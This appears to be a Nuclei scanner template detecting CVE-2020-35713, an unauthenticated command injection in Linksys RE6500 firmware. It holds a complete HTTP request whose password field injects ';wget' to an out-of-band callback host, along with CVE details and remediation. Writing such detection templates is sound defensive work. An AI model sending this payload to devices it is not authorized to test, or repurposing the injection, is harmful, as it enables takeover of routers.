48 lines
2.0 KiB
YAML
48 lines
2.0 KiB
YAML
id: CVE-2020-35713
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info:
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name: Belkin Linksys RE6500 <1.0.012.001 - Remote Command Execution
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author: gy741
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severity: critical
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description: Belkin LINKSYS RE6500 devices before 1.0.012.001 allow remote attackers to execute arbitrary commands or set a new password via shell metacharacters to the goform/setSysAdm page.
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impact: |
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Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.
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remediation: |
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Update the Belkin Linksys RE6500 firmware to version 1.0.012.001 or later.
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reference:
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- https://downloads.linksys.com/support/assets/releasenotes/ExternalReleaseNotes_RE6500_1.0.012.001.txt
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- https://resolverblog.blogspot.com/2020/07/linksys-re6500-unauthenticated-rce-full.html
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- https://nvd.nist.gov/vuln/detail/CVE-2020-35713
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- https://bugcrowd.com/disclosures/72d7246b-f77f-4f7f-9bd1-fdc35663cc92/linksys-re6500-unauthenticated-rce-working-across-multiple-fw-versions
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- https://github.com/nomi-sec/PoC-in-GitHub
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-35713
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cwe-id: CWE-78
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epss-score: 0.96521
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epss-percentile: 0.99601
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cpe: cpe:2.3:o:linksys:re6500_firmware:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: linksys
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product: re6500_firmware
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tags: cve,cve2020,linksys,rce,oast,router
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http:
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- raw:
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- |
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POST /goform/setSysAdm HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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Origin: {{BaseURL}}
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Referer: {{BaseURL}}/login.shtml
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admuser=admin&admpass=;wget http://{{interactsh-url}};&admpasshint=61646D696E=&AuthTimeout=600&wirelessMgmt_http=1
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- "http"
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# digest: 4a0a00473045022100ee11fe056898e5fd350c49df1dd45943e21f32ee2e4e1a0e5ba8315b3a3c8de3022011191bcaebc6056b7f816437b0c9075fb5d3bd87a2be9c84daa45d5ae8c2596a:922c64590222798bb761d5b6d8e72950 |